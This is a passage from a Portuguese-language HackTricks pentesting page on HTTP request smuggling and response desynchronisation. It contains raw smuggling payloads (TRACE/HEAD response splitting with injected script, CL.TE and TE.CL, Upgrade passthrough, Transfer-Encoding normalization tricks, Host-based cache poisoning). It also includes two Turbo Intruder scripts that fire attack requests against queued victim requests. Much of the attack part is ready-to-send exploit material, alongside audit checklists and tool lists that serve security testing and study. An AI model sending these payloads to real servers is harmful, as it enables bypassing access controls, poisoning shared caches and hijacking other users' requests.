Portanto, a nova ideia seria que, sabendo esse Content-Length e os dados fornecidos na resposta TRACE, é possível fazer com que a resposta TRACE contenha uma resposta HTTP válida após o último byte do Content-Length, permitindo que um atacante controle completamente a requisição para a próxima resposta (o que poderia ser usado para realizar um cache poisoning).
Example:
GET / HTTP/1.1
Host: example.com
Content-Length: 360
HEAD /smuggled HTTP/1.1
Host: example.com
POST /reflect HTTP/1.1
Host: example.com
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
Será gerado estas respostas (note como a resposta HEAD tem um Content-Length, tornando a resposta TRACE parte do body do HEAD e, quando o Content-Length do HEAD termina, uma resposta HTTP válida é smuggled):
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50
<script>alert(“arbitrary response”)</script>
Weaponizing HTTP Request Smuggling with HTTP Response Desynchronisation
Encontrou alguma vulnerabilidade de HTTP Request Smuggling e não sabe como explorá-la? Tente estes outros métodos de exploração:
HTTP Response Smuggling / Desync
Other HTTP Request Smuggling Techniques
- Browser HTTP Request Smuggling (Client Side)
Browser HTTP Request Smuggling
- Request Smuggling in HTTP/2 Downgrades
Request Smuggling in HTTP/2 Downgrades
Turbo intruder scripts
CL.TE
From https://hipotermia.pw/bb/http-desync-idor
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar
0
GET /admin7 HTTP/1.1
X-Foo: k'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
TE.CL
De: https://hipotermia.pw/bb/http-desync-account-takeover
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked
46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15
kk
0
'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
Reverse-proxy parsing footguns (Pingora 2026)
Vários bugs do Pingora de 2026 são úteis porque mostram desync primitives além do clássico CL.TE / TE.CL. A lição reutilizável é: sempre que um proxy para de fazer parsing cedo demais, normaliza Transfer-Encoding de forma diferente do backend, ou faz fallback para read-until-close para request bodies, você pode obter desync FE↔BE mesmo sem uma ambiguidade CL/TE tradicional.
Premature Upgrade passthrough
Se um reverse proxy muda para modo raw tunnel / passthrough assim que vê um header Upgrade, sem esperar o backend confirmar a troca com 101 Switching Protocols, você pode smuggle uma segunda request no mesmo TCP stream:
GET / HTTP/1.1
Host: target.com
Upgrade: anything
Content-Length: 0
GET /admin HTTP/1.1
Host: target.com
O front-end analisa apenas a primeira request, depois encaminha o restante como bytes brutos. O backend analisa os bytes anexados como uma nova request vinda do IP confiável do proxy. Isso é especialmente útil para:
- Bypass de ACLs de proxy, regras de WAF, checks de auth e rate limits.
- Acessar endpoints internos que confiam no IP do reverse proxy.
- Disparar cross-user response queue poisoning em conexões reutilizadas do backend.
Ao auditar proxies, sempre teste se qualquer valor de Upgrade dispara passthrough, e verifique se a troca acontece antes ou depois de o backend responder com 101.
Transfer-Encoding normalization bugs + HTTP/1.0 close-delimited fallback
Outro padrão útil é:
- O proxy vê que
Transfer-Encodingestá presente, então removeContent-Length. - O proxy falha em normalizar TE corretamente.
- O proxy agora não tem framing reconhecido e faz fallback para close-delimited request bodies para HTTP/1.0.
- O backend entende TE corretamente e trata os bytes após
0\r\n\r\ncomo uma nova request.
Formas comuns de disparar isso:
- Lista TE separada por vírgula não é parseada:
GET / HTTP/1.0
Host: target.com
Connection: keep-alive
Transfer-Encoding: identity, chunked
Content-Length: 29
0
GET /admin HTTP/1.1
X:
- Headers TE duplicados não são mesclados:
POST /legit HTTP/1.0
Host: target.com
Connection: keep-alive
Transfer-Encoding: identity
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: target.com
X:
As verificações de auditoria importantes são:
- O front-end faz o parse do último token TE, como exigido quando
chunkedé o último? - Ele usa todos os headers
Transfer-Encodingem vez de apenas o primeiro? - Você consegue forçar HTTP/1.0 para acionar um modo de body read-until-close?
- O proxy alguma vez permite close-delimited request bodies? Isso, por si só, já é um forte indício de desync de alto valor.
Essa classe frequentemente parece CL.TE de fora, mas o verdadeiro primitive é: TE presente –> CL removido –> nenhum framing válido reconhecido –> request body encaminhado até close.
Primitive relacionado de cache poisoning: cache keys apenas por path
A mesma auditoria do Pingora também expôs um padrão antiético perigoso de cache em reverse-proxy: derivar a cache key apenas do URI path, ignorando Host, scheme ou port. Em implantações multi-tenant ou multi-vhost, diferentes hosts podem então colidir na mesma cache entry:
GET /api/data HTTP/1.1
Host: evil.com
GET /api/data HTTP/1.1
Host: victim.com
Se ambas as requests mapeiam para a mesma cache key (/api/data), um tenant pode envenenar conteúdo para outro. Se a origin reflete o header Host em redirects, CORS, HTML, ou script URLs, uma baixa reflexão de Host pode se tornar cross-user stored cache poisoning.
Ao revisar caches, confirme que a key inclui pelo menos:
Host/ identidade do virtual host- scheme (
httpvshttps) quando o comportamento difere - port quando múltiplas aplicações compartilham o mesmo cache namespace
Tools
- HTTP Hacker (Burp BApp Store) – visualizar concatenação/framing e comportamento HTTP de baixo nível
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action “Smuggling or pipelining?”
- https://github.com/anshumanpattnaik/http-request-smuggling
- https://github.com/PortSwigger/http-request-smuggler
- https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
- https://github.com/defparam/smuggler
- https://github.com/Moopinger/smugglefuzz
- https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: Esta ferramenta é um HTTP Fuzzer baseado em gramática, útil para encontrar discrepâncias estranhas de request smuggling.
References
- https://portswigger.net/web-security/request-smuggling
- https://portswigger.net/web-security/request-smuggling/finding
- https://portswigger.net/web-security/request-smuggling/exploiting
- https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
- https://github.com/haroonawanofficial/HTTP-Desync-Attack/
- https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
- https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
- https://portswigger.net/research/trace-desync-attack
- https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/
- Beware the false false‑positive: how to distinguish HTTP pipelining from request smuggling – https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling
- https://http1mustdie.com/
- Browser‑Powered Desync Attacks – https://portswigger.net/research/browser-powered-desync-attacks
- PortSwigger Academy – client‑side desync – https://portswigger.net/web-security/request-smuggling/browser/client-side-desync
- https://portswigger.net/research/http1-must-die
- https://xclow3n.github.io/post/6/
- https://github.com/cloudflare/pingora/security/advisories/GHSA-xq2h-p299-vjwv
- https://github.com/cloudflare/pingora/security/advisories/GHSA-hj7x-879w-vrp7
- https://github.com/cloudflare/pingora/security/advisories/GHSA-f93w-pcj3-rggc
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord, ao grupo do telegram, siga @hacktricks_live no X/Twitter, ou confira a página do LinkedIn e o canal do YouTube.
- Compartilhe hacking tricks enviando PRs para os repositórios github HackTricks e HackTricks Cloud.


